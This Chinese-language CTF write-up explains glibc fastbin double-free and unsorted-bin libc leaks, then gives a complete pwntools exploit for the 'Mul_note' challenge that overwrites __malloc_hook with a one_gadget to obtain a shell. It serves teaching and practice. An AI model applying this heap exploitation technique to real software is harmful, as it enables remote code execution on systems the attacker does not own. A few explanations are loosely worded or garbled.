Double_free 利用原理

在free chunk时,程序将会以单向链表的形式存到fastbin中(也就是fd指针链接下一个bins),当我们连续free一块chunk两次时,他的两个fd指针将会同时指向一个chunk,此时当我们再次使用malloc申请chunk时,根据fastbin中的fd指针的指引,便会获取到上一次free掉的堆块。而由于main_arena检查机制的原因,我们不能连续free掉一块chunk,但是可以是如下形式:

Free A -> Free B -> Free A

这样的话fd的指针将还是指向A这块chunk。

之后的话由于在fastbin中的chunk将会在该chunk数据区的0x10空间的位置上存放fd和bk指针,所以我们可以在连续free两次同一块chunk后,再次申请该地址在数据区的开头存放一个伪造的fd指针。此时还在fastbin中的B堆块的fd指针将会因为链表的原因而指向我们伪造的fd指针,最后在连续申请两次同样大小的chunk后再次申请的地址将是我们伪造的fd指针内的地址,以此达成任意地址写的目的。

但是需要注意一点是:

假如我们要伪造一个chunk,使用任意地址写来将onegadget写到malloc_hook上时,由于malloc对chunk的检查机制如果不加以控制会导致程序异常直接退出,这时则可以通过覆盖掉main_arena-88-0x33->_IO_wide_data_0main_arena-88-0x10->malloc_hook之间的空间,使ong_gadget直接落在malloc_hook上。这样当我们再次使用malloc申请chunk时,便能触发malloc_hook上的one_gadget而不会导致程序异常退出了。

任意地址读

当我们伪造一个fd指针为某个函数的got表地址后,再次malloc申请一个空间就是落在该got表地址上,此时再用程序中应有的打印功能查看接受即可(或者可能要再-0x10才能接收到该地址,因为打印出的内容应该会从chunk中的用户数据区开始读的)、

利用条件

  1. 堆块被free后,next_chunk的pre_inuse位不会被清空
  2. 堆块的大小符合free掉后fastbins的大小

疑难解答

  1. 在第一次malloc填上fd指针后为什么还要再malloc两次之后再次的malloc才能分配到fd指针上的地址

    在第一次malloc之后fastbin的指针指向b_chunk,第二次malloc后fd指向a_chunk,第三次后则是a_chunk中的fd指向的也就是我们伪造的chunk,所以再第四次malloc后我们获得的堆块地址就是我们指定的地址了(具体可以使用gdb一步步查看fastbin中指向的地址)

  2. _IO_wide_data_0 的作用,为什么在该地址的指定位置上填充上one_gadget再次malloc后就能拿到shell

    可以将_IO_wide_data_0看作是对chunk的一个检查,而_IO_wide_data_0 则距离malloc_hook一般是0x13的距离,所以在这段地址中随便填入数据覆盖掉,之后跟上one_gadget,最后当我们再次malloc时,便会出发这个mallo_hook

Unsorted_bin利用

当free掉的chunk超过0x80大小时,将被放在unsortedbin中,而如果只有一个bin的话,此时的fd和bk指针将指向main_arena+88的位置。也就是说此时如果在申请一个堆块的话,将会被分配至

而利用这个main_arena的地址,我们可以泄露libc基地址,可以计算出malloc_hook_IO_wide_data_0等地址。

如:

main_arena-88=main_arena地址

main_arena-88-0x10=malloc_hook地址d

main_arena-88-0x10-0x13=_IO_wide_data_0地址x

利用条件

  1. 要free的chunk必须要大于0x80
  2. 用户输入的数据没有\x00进行截断

实例: Mul_note

题目分析

image-20200928164150904

checksec后可以看到只有栈保护未开启。也就是说我们无法直接劫持got表

使用IDA打开分析反汇编代码,代码虽然加了混淆,不过在start_routine过程中还是可以看到他是在free后10秒后财经性的指针清零,也就是出现了doublefree的漏洞。

而在malloc时申请的大小则又不能超过0x10000,也就是说我们无法再利用mmap申请大内存来获取libc地址

EXP思路

  1. 虽然无法利用mmap申请大内存来获取libc,不过可以使用unsorted bins来泄露main_arena的地址从而泄露libc

  2. 泄露libc后通过计算得出malloc_hook_IO_wide_data_0one_gadget等地址

  3. 利用Double free来伪造chunk,劫持malloc_hook,再在malloc_hook上写上one_gadget地址,再次malloc时直接拿到shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#coding:utf-8
from pwn import *
from one_gadget import generate_one_gadget

context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./mulnote")
elf = ELF("./mulnote")
libc = "/lib/x86_64-linux-gnu/libc.so.6"

def create(size,note):
sh.recvuntil(">")
sh.sendline("C")
sh.recvuntil("size>")
sh.sendline(size)
sh.recvuntil("note>")
sh.send(note)
def edit(idx,note):
sh.recvuntil(">")
sh.sendline("E")
sh.recvuntil("index>")
sh.sendline(idx)
sh.recvuntil("new note>")
sh.sendline(note)
def remove(idx):
sh.recvuntil(">")
sh.sendline("R")
sh.recvuntil("index>")
sh.sendline(idx)
def show():
sh.recvuntil(">")
sh.sendline("S")
def one_gadget(libc_addr):
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget


### 利用unsorted_bin的特性当申请超过0x80的chunk时,将泄露main_arena+0x88的地址
create("128","aaaa")
remove("0")
#gdb.attach(sh)
show()
sh.recvuntil("note[0]:\n")
main_arena = u64(sh.recvuntil("\x7f").ljust(8,"\x00"))
success("main_arna => 0x%x",main_arena)
#gdb.attach(sh)
libc_base = main_arena - 3951480 #main_arena+88 距离libc基地址的偏移
success("main_arna => 0x%x",libc_base)
malloc_hook = main_arena -88-0x10
fake_chunk = main_arena-88-0x33
#必须要从_IO_wide_data_0上开始填充,才可以绕过对chunk的检查,也就是从_IO_wide_data_0填充至malloc_hook的位置
one_gg = one_gadget(libc)[0]+libc_base
success("one_gg => 0x%x",one_gg)

### Double free利用
create("96","aaaa")
create("96","aaaa")
remove("1")
remove("2")
remove("1")

create("96",p64(fake_chunk))
create("96",'bbbb')
create("96","cccc")
create("96",'d'*19+p64(one_gg))
#_IO_wide_data_0+0x13的位置便是malloc_hook
gdb.attach(sh)
sh.recvuntil(">")
sh.sendline("C")
sh.recvuntil("size>")
sh.sendline("over")
# show()
sh.interactive()

学习参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

https://zhuanlan.zhihu.com/p/64434547

https://xz.aliyun.com/t/6355#toc-13